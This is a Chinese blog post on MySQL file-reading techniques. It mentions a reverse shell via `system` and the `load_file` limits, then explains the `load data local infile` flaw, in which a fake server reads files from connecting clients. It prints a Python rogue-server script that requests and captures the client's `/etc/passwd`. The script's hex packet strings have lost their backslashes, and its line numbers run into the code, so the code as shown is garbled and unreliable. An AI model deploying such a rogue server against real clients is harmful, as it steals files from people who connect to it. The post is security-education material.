mysql读取大文件_关于mysql几种读取文件及利用的方式

本文介绍了MySQL在不同场景下读取大文件的方法,包括system命令的反弹shell功能,load_file()的使用条件及其在5.6.34后的限制,以及load data infile的远程读取文件漏洞。通过详细步骤和示例,展示了如何利用这些方法读取和传输文件。
摘要由CSDN通过智能技术生成

2ff34e647e2e3cdfd8dca593e17d9b0a.png

1.system

7a7405edb0c4c745156cae22f23b2241.png

可以反弹shell

c21168ab8dcccf78a89961d25d1b7265.png

d216938f9e0563df66a17a23baf7cc48.png

可以通过堆叠查询使用,比较适合phpmyadmin,如果直接在有漏洞的页面注入会产生不可预料的错误(以php为例,一般会使用mysqli_fetch_array取查询出的条目,需要符合条件的条目)

c7fa50466ba116a2cca11b73d8621632.png

windows下system似乎没有作用

2.load_file()

使用load_file()是要有条件的

1.在mysql下读写文件secure_file_priv的值不为NULL,这在mysql突破secure_file_priv写shell文章里有写

2.需要拥有所需文件的权限

ddbc760acceb8c201f7788f1cd28a653.png

然而在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,即默认无法写入写出,需要修改secure_file_priv

3.load data infile

683f02c2c18d06f42598f342205872c8.png

关于load data infile,存在一个伪造服务端任意读取客户端文件的问题,这里参考了很多网上大牛的资料,还原一下这个漏洞。

远程连接Mysql的过程具体如下:

1.客户端发起tcp连接,服务器返回一个greeting,包含了服务器mysql版本等信息

f918c98851f00981595b54d38e3cd545.png

2.login request

90a6bfac8f6a5fca9f364ee5a7d0978f.png

3.初始化查询

8a92b156c57c95808be57a9336c8bc1b.png

4.要进行load data local infile,这里有个坑,即使set global local_infile = ‘ON’ 后还是报错,所以只能登录时加–enable-local-infile参数,插入成功

31984292e016b745372d9da531a82805.png

5.服务端返回一个TABULAR请求,请求客户端的/etc/passwd 文件

154c63c4715a3b2a813c4d5df472dd8f.png

6./etc/passwd 中的内容成功传到了服务端

25858f122cad06613d60fe563bb909af.png

这里可以伪造一个服务端,当客户端连接完成时发送一个TABULAR请求来任意读取客户端中有权限的文件信息

服务端的伪造脚本1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23#https://www.cnblogs.com/apossin/p/10127496.html

#coding=utf-8

import socket

import logging

logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"

sv=socket.socket()

sv.bind(("",3306))

sv.listen(5)

conn,address=sv.accept()

logging.info('Conn from: %r', address)

conn.sendall("x4ax00x00x00x0ax35x2ex35x2ex35x33x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00") #greeting包

conn.recv(9999)

logging.info("auth okay")

conn.sendall("x07x00x00x02x00x00x00x02x00x00x00") #reponse ok包

conn.recv(9999)

logging.info("want file...")

wantfile=chr(len(filename)+1)+"x00x00x01xFB"+filename #长度+数据包序号(1)+读取文件名

conn.sendall(wantfile)

content=conn.recv(9999)

logging.info(content)

conn.close()

读取成功

a1538f74a6c2f4353af5f308ec3099e4.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值